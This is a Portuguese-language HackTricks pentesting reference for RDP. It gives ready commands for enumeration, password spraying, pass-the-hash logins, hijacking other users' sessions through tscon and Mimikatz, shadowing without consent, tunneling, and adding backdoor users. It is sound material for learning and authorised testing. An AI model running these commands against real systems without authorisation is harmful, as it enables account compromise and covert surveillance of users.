3389 - Pentesting RDP

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks

Informações Básicas

Desenvolvido pela Microsoft, o Remote Desktop Protocol (RDP) foi projetado para permitir uma conexão com interface gráfica entre computadores através de uma rede. Para estabelecer essa conexão, o usuário utiliza software cliente RDP e, simultaneamente, o computador remoto precisa executar o software servidor RDP. Essa configuração permite o controle e acesso do ambiente de área de trabalho do computador remoto, trazendo essencialmente sua interface para o dispositivo local do usuário.

Porta padrão: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumeração

Automática

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

Ele verifica a criptografia disponível e a vulnerabilidade a DoS (sem causar DoS ao serviço) e obtém informações NTLM do Windows (versões).

Camada de Segurança / Verificações NLA

RDP pode negociar diferentes camadas de segurança (native RDP, TLS, ou CredSSP/NLA). Você pode rapidamente fingerprint as configurações do lado do servidor e se NLA é necessário:

# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>

# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>

# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot

# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot

Brute force

Cuidado, você pode bloquear contas

Password Spraying

Cuidado, você pode bloquear contas

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Conectar com credentials/hash conhecidos

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Verificar credenciais conhecidas contra serviços RDP

rdp_check.py do impacket permite verificar se algumas credenciais são válidas para um serviço RDP:

rdp_check <domain>/<name>:<password>@<IP>

Ataques

Session stealing

Com permissões SYSTEM você pode acessar qualquer sessão RDP aberta por qualquer usuário sem precisar conhecer a senha do proprietário.

Obter sessões abertas:

query user

Acesso à sessão selecionada

tscon <ID> /dest:<SESSIONNAME>

Agora você estará dentro da sessão RDP selecionada e terá que se passar por um usuário usando apenas ferramentas e recursos do Windows.

Importante: Ao acessar uma sessão RDP ativa, você desconectará o usuário que a estava usando.

Você poderia obter senhas fazendo dump do processo, mas este método é muito mais rápido e permite interagir com os desktops virtuais do usuário (senhas no Notepad sem terem sido salvas no disco, outras sessões RDP abertas em outras máquinas…)

Mimikatz

Você também pode usar Mimikatz para isso:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

RDP Shadowing (Remote Control)

Se Remote Desktop Services shadowing estiver habilitado, você pode ver ou controlar a sessão ativa de outro usuário (às vezes sem consentimento) usando os switches embutidos mstsc.

# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>

# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control

# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt

# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow

RDP Virtual Channel Tunneling

RDP suporta virtual channels que podem ser abusados para pivoting/tunneling em uma sessão RDP estabelecida. Uma opção é rdp2tcp (client/server) que pode multiplexar TCP forwards sobre RDP (funciona com FreeRDP).

# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp

Tunneling and Port Forwarding

Sticky-keys & Utilman

Combinando esta técnica com stickykeys ou utilman você poderá acessar um CMD administrativo e qualquer sessão RDP a qualquer momento

You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Se alguém de um domínio diferente ou com melhores privilégios login via RDP no PC onde você é um Admin, você pode inject seu beacon no RDP session process dele e agir como ele:

RDP Sessions Abuse

Adicionando Usuário ao grupo RDP

net localgroup "Remote Desktop Users" UserLoginName /add

Ferramentas Automáticas

AutoRDPwn é um post-exploitation framework criado em Powershell, projetado principalmente para automatizar o ataque Shadow em computadores Microsoft Windows. Esta vulnerabilidade (listada como um recurso pela Microsoft) permite que um atacante remoto veja a área de trabalho da vítima sem seu consentimento, e até a controle sob demanda, usando ferramentas nativas do próprio sistema operacional.

  • EvilRDP

  • Controlar mouse e teclado de forma automatizada pela linha de comando

  • Controlar a área de transferência de forma automatizada pela linha de comando

  • Gerar um proxy SOCKS a partir do client que canaliza a comunicação de rede para o target via RDP

  • Executar comandos arbitrários SHELL e PowerShell no target sem enviar arquivos

  • Enviar e baixar arquivos para/desde o target mesmo quando as transferências de arquivos estão desativadas no target

  • SharpRDP

Esta ferramenta permite executar comandos na RDP da vítima sem necessitar de interface gráfica.

Comandos Automáticos do HackTricks

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Referências

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks